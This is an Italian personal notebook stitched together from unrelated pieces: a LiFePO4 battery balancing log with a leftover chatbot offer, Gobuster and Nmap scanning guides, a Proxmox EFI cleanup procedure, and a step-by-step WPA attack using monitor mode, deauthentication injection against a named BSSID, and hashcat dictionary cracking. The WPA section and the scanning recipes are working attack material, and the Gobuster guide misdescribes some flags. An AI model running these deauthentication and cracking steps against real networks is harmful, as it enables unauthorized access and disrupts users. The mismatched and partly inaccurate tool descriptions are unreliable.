πŸ“˜ DIARIO TECNICO COMPLETO β€” TOP‑BALANCE LiFePOβ‚„ (BasenGreen 16s/200Ah)

πŸ“˜ DIARIO TECNICO PACCO LiFePOβ‚„ β€” EVOLUZIONE COMPLETA (12 giugno β†’ 2 luglio)

πŸ“… 12 giugno

  • V_MAX: 3,589 V
  • V_MIN: 3,380 V
  • Ξ”V: 0,207–0,215 V
  • Stato celle: 1–2 molto alte; 8 e 13 molto basse
  • OVP: 55,6–56,0 V
  • Note: pacco sano ma fortemente sbilanciato

πŸ“… 13 giugno

  • V_MAX: ~3,53 V
  • V_MIN: 3,376–3,383 V
  • Ξ”V: ~0,132 V
  • Stato celle: alte meno polarizzate
  • OVP: 56,27 V
  • Note: bleed efficace, delta dimezzato

πŸ“… 21 giugno

  • V_MAX: ~3,53 V
  • V_MIN: ~3,42 V
  • Ξ”V: ~0,130 V
  • Stato celle: 8 e 13 recuperano
  • Note: pacco piΓΉ uniforme, comportamento stabile

πŸ“… 23 giugno

  • V_MAX: 3,511–3,516 V
  • V_MIN: 3,380–3,384 V
  • Ξ”V: 0,123–0,130 V
  • OVP: 56,56–56,80 V
  • Note: bleed su 6–7 celle, delta in miglioramento

πŸ“… 25 giugno

  • V_MAX: 3,487 V
  • V_MIN: 3,395 V
  • Ξ”V: 0,092–0,101 V
  • SOC: 99,8–100%
  • Note: pacco quasi uniforme, delta sotto 0,10 V

πŸ“… 27 giugno

  • V_MAX: ~3,49–3,50 V
  • V_MIN: 3,394 V (cella 8)
  • Ξ”V: ~0,094 V
  • Tensione pacco: 55,21 V
  • Stato: 56,60 V per 1 ora, poi 55,20 V float
  • Note: cella 8 ancora la piΓΉ bassa; delta stabile ma non ancora β€œda laboratorio”

πŸ“… 29 giugno

  • V_MAX: 3,487 V
  • V_MIN: 3,398 V
  • Ξ”V: 0,089 V
  • Tensione pacco: 55,19 V
  • Stato: CHG_MOS ON, Dis_MOS ON, 0 A
  • Note: delta ridotto; pacco piΓΉ compatto; cella 8 vicina al gruppo

πŸ“… 30 giugno

  • V_MAX: 3,483 V
  • V_MIN: 3,405 V
  • Ξ”V: 0,078–0,080 V
  • Tensione pacco: 55,21 V
  • Stato: 56,60 V per 2 ore, poi 55,20 V float
  • Note:
    • Nessuna cella sotto 3,40 V (prima volta)
    • Cella 8 finalmente in banda
    • Delta migliore di ieri (~11 mV di miglioramento)
    • Pacco compatto, comportamento ottimale

πŸ“… 1 luglio β€” PUNTA (56,60 V)

  • V_MAX: ~3,50 V
  • V_MIN: ~3,38–3,39 V
  • Ξ”V: 0,119 V
  • Note: delta in punta ancora alto, ma molto piΓΉ basso rispetto al 12 giugno; celle alte meno polarizzate; cella 8 in recupero stabile.

πŸ“… 1 luglio β€” FLOAT (55,20 V)

  • V_MAX: ~3,487 V
  • V_MIN: ~3,411 V
  • Ξ”V: 0,070 V
  • Note: pacco compatto; delta stabile; comportamento ripetibile; cella 8 non piΓΉ la piΓΉ bassa.

πŸ“… 2 luglio β€” PUNTA (56,59 V)

  • V_MAX: 3,517–3,518 V
  • V_MIN: 3,412–3,414 V
  • Ξ”V: 0,105 V
  • Note: punta molto stabile; permanenza lunga; celle alte poco polarizzate; delta in miglioramento rispetto al 1 luglio.

πŸ“… 2 luglio β€” FLOAT (55,22–55,23 V)

  • V_MAX: 3,476–3,478 V
  • V_MIN: 3,414–3,416 V
  • Ξ”V: 0,061–0,064 V
  • Note:
    • miglior float di sempre
    • delta piΓΉ basso mai registrato
    • profilo celle piatto (3,448–3,452 V)
    • cella 8 perfettamente integrata
    • stabilitΓ  totale anche dopo 1 ora
    • pacco ufficialmente bilanciato

πŸ“Š SINTESI TECNICA (12 giugno β†’ 2 luglio)

  • Delta iniziale (12 giugno): ~0,21 V
  • Delta attuale (2 luglio): 0,061–0,064 V
  • Miglioramento totale: ~0,145 V
  • Celle alte: βˆ’110/120 mV
  • Celle basse: +70 mV
  • Cella 8: da 3,380 V β†’ 3,450 V
  • Cella 7: nuovo fondo pacco, ma alta (3,414 V)
  • OVP: da 55,6 V β†’ 56,80 V
  • StabilitΓ : float piatto, punta stabile, delta minimo
  • Conclusione: pacco bilanciato, comportamento ripetibile, pronto per riduzione tempi assorbimento.

Se vuoi, posso prepararti anche la versione grafica del diario (testuale, tipo timeline), oppure la versione β€œda post” con 5 righe secche.

12 GIUGNO ────────────────────────────────────────────────
   V_MAX 3,589 V     V_MIN 3,380 V     Ξ”V 0,21 V
   Celle 1–2 alte, 8–13 basse
   Pacco sano ma molto sbilanciato

        β”‚
        β–Ό

13 GIUGNO ────────────────────────────────────────────────
   V_MAX ~3,53 V     V_MIN 3,376 V     Ξ”V ~0,13 V
   Delta dimezzato, bleed efficace
   OVP 56,27 V

        β”‚
        β–Ό

21 GIUGNO ────────────────────────────────────────────────
   V_MAX ~3,53 V     V_MIN ~3,42 V     Ξ”V ~0,13 V
   Celle 8 e 13 recuperano
   Pacco piΓΉ uniforme

        β”‚
        β–Ό

23 GIUGNO ────────────────────────────────────────────────
   V_MAX 3,516 V     V_MIN 3,380 V     Ξ”V 0,123–0,130 V
   OVP 56,56–56,80 V
   Bleed su 6–7 celle

        β”‚
        β–Ό

25 GIUGNO ────────────────────────────────────────────────
   V_MAX 3,487 V     V_MIN 3,395 V     Ξ”V 0,092–0,101 V
   Delta sotto 0,10 V
   Pacco quasi uniforme

        β”‚
        β–Ό

27 GIUGNO ────────────────────────────────────────────────
   V_MAX ~3,50 V     V_MIN 3,394 V     Ξ”V ~0,094 V
   56,60 V per 1h β†’ 55,20 V float
   Cella 8 ancora bassa

        β”‚
        β–Ό

29 GIUGNO ────────────────────────────────────────────────
   V_MAX 3,487 V     V_MIN 3,398 V     Ξ”V 0,089 V
   Pacco compatto, cella 8 in recupero

        β”‚
        β–Ό

30 GIUGNO ────────────────────────────────────────────────
   V_MAX 3,483 V     V_MIN 3,405 V     Ξ”V 0,078–0,080 V
   Nessuna cella sotto 3,40 V
   Cella 8 finalmente in banda
   Pacco molto stabile

        β”‚
        β–Ό

1 LUGLIO β€” PUNTA (56,60 V) ───────────────────────────────
   Ξ”V ~0,119 V
   Celle alte meno polarizzate

        β”‚
        β–Ό

1 LUGLIO β€” FLOAT (55,20 V) ───────────────────────────────
   V_MAX ~3,487 V     V_MIN ~3,411 V     Ξ”V ~0,070 V
   Pacco compatto, comportamento ripetibile

        β”‚
        β–Ό

2 LUGLIO β€” PUNTA (56,59 V) ───────────────────────────────
   V_MAX 3,517 V     V_MIN 3,414 V     Ξ”V 0,105 V
   Punta stabile, delta migliorato

        β”‚
        β–Ό

2 LUGLIO β€” FLOAT (55,22–55,23 V) ─────────────────────────
   V_MAX 3,478 V     V_MIN 3,416 V     Ξ”V **0,061–0,064 V**
   Miglior float di sempre
   Profilo piatto (3,448–3,452 V)
   Cella 8 perfetta
   Pacco ufficialmente bilanciato

πŸ—ΊοΈ Guida Completa: Padronanza con Gobuster

🎯 Obiettivo di Gobuster
Scoprire la struttura nascosta di un sito web. In pratica, se il proprietario ha messo file importanti come /backup, /config o /admin ma non li ha linkati nel menu principale, Gobuster li trova per te.

βš™οΈ Prerequisiti

  1. Gobuster installato: (Su Linux/macOS: sudo apt install gobuster oppure scaricandolo da GitHub).
  2. Un Target Web: Un indirizzo IP o un dominio che vuoi testare (es. http://192.168.8.17).
  3. Un File di Wordlist: Una lista di nomi comuni per directory e file. Il piΓΉ famoso Γ¨ dirb/common.txt o le liste contenute in pacchetti come SecLists.

πŸš€ Livello 1: La Scansione Base (Directory Enumeration)
Questo Γ¨ il comando che userai il 90% delle volte per iniziare. Stai dicendo a Gobuster: “Prova tutti questi nomi di cartelle su questo indirizzo.”

gobuster dir -u http://[TARGET_URL] -w /path/to/wordlist.txt

Spiegazione dei parametri:

  • -d (o –directory-list): Indica che vuoi cercare directory e file.
  • -u: Specifica l’URL del target web (es. http://192.168.8.17).
  • -w: Wordlist. Questo Γ¨ il cuore dello strumento. Devi puntare al percorso della lista di parole che contiene migliaia di nomi comuni (admin, backup, api, ecc.).

Esempio Pratico:

gobuster dir -u http://192.168.8.17 -w /usr/share/wordlists/dirb/common.txt

πŸ”¬ Livello 2: Scansione di File Specifiche (File Enumeration)
A volte non cerchi una cartella, ma un file specifico che potrebbe essere nascosto. Puoi usare la stessa logica cambiando il tipo di ricerca o usando liste piΓΉ mirate.

Esempio: Se sospetti che ci sia un backup in formato ZIP:

gobuster dir -u http://192.168.8.17 -w /usr/share/wordlists/dirbuster/directories.jbrofuzz

βš™οΈ Livello 3: Scansione di Protocolli Diversificati (VersatilitΓ )
Gobuster non Γ¨ solo per HTTP! Puoi usarlo anche su altri protocolli, come FTP o SMB, se hai le liste appropriate.

Esempio (FTP):

gobuster dir -u ftp://[TARGET_URL] -w /path/to/ftp_wordlist.txt

πŸ’‘ Consigli dell’Esperto per la Padronanza:

  1. Non usare solo una wordlist: Se il primo tentativo con common.txt non dΓ  risultati, prova liste piΓΉ specifiche (es. quelle contenenti nomi di versioni software o termini legati al tuo settore).
  2. Analizza i Risultati: Gobuster ti restituirΓ  un codice di stato HTTP per ogni tentativo:
    β€’ 200 OK: TROVATO! Questa Γ¨ una directory/file accessibile e pubblica. È il risultato piΓΉ importante.
    β€’ 403 Forbidden: Il server sa che la risorsa esiste, ma ti impedisce di vederla (potrebbe essere protetta da un firewall o autenticazione). È un indizio prezioso!
    β€’ 404 Not Found: La directory/file non esiste.

In sintesi: Gobuster Γ¨ il tuo “occhio” che spia ogni angolo del sito web, mentre Nmap Γ¨ la tua “radar” che vede se le porte sono aperte. Usali in sequenza!

NMAP

Guida Operativa Nmap: Scansione e Analisi di Rete

πŸ”₯ Strumento essenziale per amministratori, pentester e analisti di rete

Nmap (Network Mapper) Γ¨ uno dei tool piΓΉ potenti per analizzare una rete, scoprire host attivi, identificare porte aperte, servizi in esecuzione e possibili vulnerabilitΓ . Questa guida Γ¨ ottimizzata per WordPress, con box colorati, icone SVG e tabelle professionali.

🎯 Obiettivi della guida

  • Scoprire quali dispositivi sono attivi nella rete
  • Identificare porte e servizi
  • Rilevare versioni software e sistema operativo
  • Eseguire analisi di vulnerabilitΓ  con NSE

Sintassi Base

nmap [opzioni]

  • IP singolo: 192.168.1.50
  • Range: 192.168.1.1-100
  • Subnet: 192.168.1.0/24
  • File host: -iL hosts.txt

πŸ” Host Discovery – Scoprire chi Γ¨ vivo

Prima di scansionare le porte, devi sapere quali host rispondono.

Ping Scan (solo discovery)

nmap -sn 192.168.1.0/24

Identifica rapidamente i dispositivi attivi tramite ICMP e ARP.

Port Scanning – Analisi delle porte

TCP SYN Scan (half-open, consigliato)

nmap -sS 192.168.1.50

Veloce, poco invasivo, richiede privilegi elevati.

TCP Connect Scan (full handshake)

nmap -sT 192.168.1.50

Usalo quando non hai privilegi root.

UDP Scan (DNS, SNMP, DHCP)

nmap -sU 192.168.1.50

PiΓΉ lento per natura, ma indispensabile per servizi UDP.

Specificare porte e velocitΓ 

Porte

  • Tutte le porte: nmap -p- 192.168.1.50
  • Porte specifiche: nmap -p 80,443,3389
  • Range: nmap -p 1-1024

VelocitΓ  dello scan

  • -T0: stealth
  • -T3: normale
  • -T4: aggressivo

πŸ“‘ Enumerazione Avanzata

Service Version Detection

nmap -sV 192.168.1.50

Identifica software e versione (Apache, SSH, ecc.).

OS Detection

nmap -O 192.168.1.50

Fingerprinting del sistema operativo.

Nmap Scripting Engine (NSE)

Analisi vulnerabilitΓ :

nmap --script=vuln 192.168.1.50

Enumerazione web:

nmap --script=http-enum 192.168.1.50

Tabella: Tipi di Scan e Utilizzo

Tipo ScanComandoUtilizzo
SYN Scannmap -sSRapido, stealth
Connect Scannmap -sTSenza privilegi root
UDP Scannmap -sUServizi UDP
Version Detectionnmap -sVSoftware e versioni
OS Detectionnmap -OSistema operativo

Scansioni Consigliate per Pentest

ObiettivoComando
Discovery hostnmap -sn 192.168.3.0/24
Port scan rapidonmap -sS -T4 -F 192.168.3.0/24
Enumerazione dettagliatanmap -sV -p- 192.168.1.50
Analisi vulnerabilitΓ nmap –script=vuln 192.168.1.50

πŸ“˜ Mini Cheat‑Sheet Finale

  • Host discovery: nmap -sn
  • SYN scan: nmap -sS
  • Versioni servizi: nmap -sV
  • OS detection: nmap -O
  • VulnerabilitΓ : nmap –script=vuln
  • Full scan: sudo nmap -sS -sV -O -sU -T4

Erorre EFI no space left on node proxmox

# Procedura adattata al mio nodo Proxmox per pulizia ESP e fix kernel

## 1. Verificare l’UUID della ESP
cat /etc/kernel/proxmox-boot-uuids
# Output nel mio caso:
# 67D6-E50C

## 2. Verificare quale device corrisponde all’UUID
ls -al /dev/disk/by-uuid/67D6-E50C
# Output nel mio caso:
# /dev/disk/by-uuid/67D6-E50C -> ../../nvme0n1p2
# La mia ESP Γ¨ quindi /dev/nvme0n1p2

## 3. Montare manualmente la ESP
mkdir /tmp/myesp
mount /dev/nvme0n1p2 /tmp/myesp

## 4. Elencare i kernel presenti nella ESP
ll /tmp/myesp/*/*
# Qui individuo le directory dei kernel vecchi da rimuovere:
# /tmp/myesp/.../5.15.108-1-pve
# /tmp/myesp/.../6.2.16-5-pve

## 5. Rimuovere SOLO i kernel vecchi
rm -rf /tmp/myesp/*/*/5.15.108-1-pve
rm -rf /tmp/myesp/*/*/6.2.16-5-pve

## 6. Smontare la ESP
umount /tmp/myesp

## 7. Riparare dpkg e completare l’installazione del kernel
apt-get -f install

Pentest WPA uso personale !

Guida Tecnica: Acquisizione e Decodifica Handshake WPA

Questa procedura utilizza la suite aircrack-ng su interfaccia wireless wlx20e51702a6ac per catturare un handshake WPA e decodificarlo via hashcat.

Fase 1: Preparazione dell’ambiente

airmon-ng check kill Identifica e termina i processi che interferiscono con la modalitΓ  monitor (es. NetworkManager, wpa_supplicant). Rimuove conflitti di gestione radio prima dell’attivazione.

Fase 2: Attivazione modalitΓ  monitor

airmon-ng start wlx20e51702a6ac Passa l’interfaccia dalla modalitΓ  managed alla modalitΓ  monitor, permettendo la ricezione dei pacchetti broadcast e il tuning sulla frequenza corretta.

Fase 3: Scansione generale

airodump-ng -w capture wlx20e51702a6ac Avvia l’ascolto su tutti i canali salvando i pacchetti nel file capture-01.cap. Serve a identificare il BSSID e il canale di lavoro del target.

Fase 4: Monitoraggio mirato

airodump-ng -c 4 --bssid CC:2D:21:31:3F:81 -w capture wlx20e51702a6ac Blocca l’interfaccia sul canale 4 e sul BSSID specifico. Garantisce che tutti i pacchetti del target siano registrati nel file di acquisizione senza perdita per switch di canale.

Fase 5: Iniezione Deauthentication

aireplay-ng --deauth 10 -a CC:2D:21:31:3F:81 wlx20e51702a6ac Invia 10 pacchetti di deautenticazione al BSSID indicato. Forza un client a disconnettersi e riconnettersi, innescando la procedura di negoziazione del handshake WPA.

Fase 6: Conversione formato hcxpcapng

hcxpcapngtool -o handshake_hash.hccapx capture-01.cap Converte il dump .cap nel formato nativo per hashcat (.hccapx). Questo passaggio Γ¨ necessario perchΓ© hashcat non legge direttamente i file aircrack-ng senza conversione.

Fase 7: Attacco brute-force con Hashcat

hashcat -m 22000 handshake_hash.hccapx /usr/share/wordlists/Wordlist_82_million.txt -w 3 --status Esegue l’attacco offline sulla password WPA:

  • -m 22000: Algoritmo specifico per il formato hcxpcapng (WPA2).
  • /usr/share/wordlists/...: Dizionario di confronto.
  • -w 3: Imposta la velocitΓ  del worker su “high” per ottimizzare l’uso della GPU/CPU.
  • --status: Mostra i progress dell’elaborazione in tempo reale.